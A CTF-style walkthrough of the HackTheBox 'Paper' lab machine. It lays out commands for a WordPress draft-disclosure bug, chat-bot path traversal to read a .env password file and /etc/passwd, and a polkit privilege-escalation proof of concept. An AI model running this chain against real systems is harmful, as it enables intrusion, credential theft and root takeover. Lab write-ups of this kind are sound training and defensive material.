Paper - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐☆☆☆ (2/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐☆☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐⭐☆☆

Summary

Paper is an easy Linux machine featuring an Apache web server on ports 80 and 443. Initial reconnaissance reveals a hidden virtual host through HTTP response headers, leading to a WordPress 5.2.3 installation vulnerable to CVE-2019-17671 (unauthenticated draft post disclosure). Exploitation of this vulnerability exposes credentials and URLs to a Rocketchat instance, where a misconfigured bot allows directory traversal to retrieve sensitive configuration files containing SSH credentials. Post-compromise, the system’s polkit installation (< 0.119) is vulnerable to CVE-2021-3560, enabling privilege escalation to root.

TL;DR: Hidden vhost → WordPress CVE-2019-17671 → Draft posts reveal Rocketchat URL → Bot directory traversal → .env credentials → SSH access → Polkit CVE-2021-3560 → Root

Reconnaissance

Port Scanning

# Fast port enumeration
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.143 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

# Detailed service scan
nmap -p$ports -sV 10.10.11.143

Results:

• Port 22/TCP - OpenSSH (Standard SSH service)
• Port 80/TCP - Apache HTTP Server (Default page)
• Port 443/TCP - Apache HTTPS Server (SSL/TLS)

Service Enumeration

HTTP Header Analysis

Browsing to http://10.10.11.143:80 returns a default Apache server page with no useful information. However, inspecting HTTP response headers in Burp Suite reveals a critical detail:

X-Backend-Server: office.paper

This header indicates virtual host routing is configured on the web server.

Virtual Host Discovery

Add the discovered domain to /etc/hosts:

echo "10.10.11.143     office.paper" | sudo tee -a /etc/hosts

Visiting http://office.paper reveals a WordPress 5.2.3 installation running a blog.

WordPress Version Detection

Using the Wappalyzer browser extension confirms WordPress version 5.2.3 is installed.

Suspicious Blog Comments

Manual enumeration of blog posts reveals a suspicious comment hinting at confidential information stored in draft posts, suggesting authentication bypass possibilities.

Vulnerability Assessment

Initial Foothold

Exploitation Path: CVE-2019-17671 WordPress Draft Disclosure

WordPress 5.2.3 contains an authentication bypass vulnerability allowing unauthenticated users to view draft posts. This is exploited by appending ?static=1 to the WordPress URL:

# Access draft posts without authentication
curl -s "http://office.paper/?static=1" | grep -i "draft\|secret\|register"

Alternatively, visit in browser:

http://office.paper/?static=1

Result: Draft posts reveal a registration URL for an employee chat system:

http://chat.office.paper/register/8qozr226AhkCHZdyY

Rocketchat Account Creation

Add the new domain to /etc/hosts:

echo "10.10.11.143        chat.office.paper" | sudo tee -a /etc/hosts

Create a new account at the registration URL using arbitrary credentials:

Username: attacker
Password: AttackerPass123!

Rocketchat Bot Enumeration

Post-login enumeration reveals:

• A read-only #general channel with employee communications
• A bot user named recyclops mentioned in chat history
• Bot functionality accessible via direct messages

Send a help command to the bot:

# Direct message to @recyclops
recyclops help

Bot capabilities output:

3. file - Read files from the Sales folder
4. list - List files in directories (limited to Sales folder)

Directory Traversal via Bot

Despite directory restrictions, path traversal using .. bypasses the Sales folder limitation:

# List parent directory (home directory)
recyclops list ..

# Output reveals user 'dwight' home directory

Hubot Configuration Exploitation

Research on Rocketchat hubot reveals passwords stored in .env configuration files:

# Enumerate hubot directory
recyclops list ../hubot

# Read .env file contents
recyclops file ../hubot/.env

Retrieved credentials:

PASSWORD=Queenofblad3s!23

SSH Access

Fetch system users to identify valid SSH accounts:

recyclops file ../../../etc/passwd

Identified users: rocketchat, dwight

Authenticate via SSH:

ssh dwight@10.10.11.143
# Password: Queenofblad3s!23

Foothold achieved. User flag located at:

cat /home/dwight/user.txt

Privilege Escalation

Polkit Vulnerability Assessment

Enumerate installed packages on compromised host:

# Check polkit version
pkexec --version
# Output: polkit version 0.105

Version 0.105 is vulnerable to CVE-2021-3560, an authentication bypass affecting polkit < 0.119.

CVE-2021-3560 Exploitation

Download the public PoC from GitHub:

# On attacker machine
wget https://github.com/secnigma/CVE-2021-3560-Polkit-Bypass/raw/main/poc.sh

# Transfer to target
scp poc.sh dwight@10.10.11.143:/tmp/

Modify PoC credentials (optional - script accepts command-line arguments):

# Edit poc.sh to set desired username/password
# Or use flag options:
# -u <username> -p <password>

Execute exploit on target:

chmod +x /tmp/poc.sh
/tmp/poc.sh -u dotguy -p pass123

Exploit output:

[!] Username set as : dotguy
[!] Password set as : pass123
[+] User created successfully
[+] User added to sudoers

Root Access Verification

# Switch to new privileged user
su - dotguy
# Password: pass123

# Verify sudo access
sudo -l
# Output: (ALL : ALL) ALL

# Obtain root shell
sudo su -

# Retrieve root flag
cat /root/root.txt

Attack Chain Summary

Port Enumeration (80, 443, 22)
    ↓
HTTP Header Analysis (X-Backend-Server: office.paper)
    ↓
WordPress 5.2.3 Enumeration
    ↓
CVE-2019-17671 Exploitation (?static=1)
    ↓
Draft Posts Disclosure (chat.office.paper URL)
    ↓
Rocketchat Account Registration
    ↓
Bot Direct Message Access
    ↓
Directory Traversal via Bot (.. bypass)
    ↓
Hubot .env File Extraction
    ↓
SSH Credential Acquisition
    ↓
dwight User Shell Access
    ↓
Polkit Version Detection
    ↓
CVE-2021-3560 Exploitation
    ↓
Sudo User Creation
    ↓
Root Access

Tools Used

Key Learnings

Techniques Practiced

• Virtual host discovery via HTTP response headers
• Unauthenticated WordPress vulnerability exploitation (CVE-2019-17671)
• Reconnaissance via chat bot interaction
• Directory traversal attacks bypassing access controls
• Configuration file enumeration (.env exploitation)
• Polkit authentication bypass techniques
• Privilege escalation through authorization service vulnerabilities

Lessons Learned

1. HTTP Headers Matter - The X-Backend-Server header was the critical piece of information that revealed the hidden virtual host. Always inspect full HTTP responses, not just page content.

2. Chaining Multiple Vulnerabilities - This machine demonstrates the danger of multiple moderate-severity issues combined: a WordPress vulnerability alone wouldn’t compromise the system, but when chained with bot misconfiguration and weak credential storage, it leads to complete compromise.

3. Bot Misconfigurations Are High-Risk - Automated systems with file access capabilities should have strict sandboxing. The recursive directory listing capability undermined intended access controls.

4. Keep Secrets Out of Configuration Files - Storing plaintext credentials in .env files accessible to compromised users is a critical misconfiguration. Use proper secret management solutions.

5. Update Authorization Services - Polkit CVE-2021-3560 existed for over a year before patches were widely applied. Regular security updates for system-level authorization services are essential.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>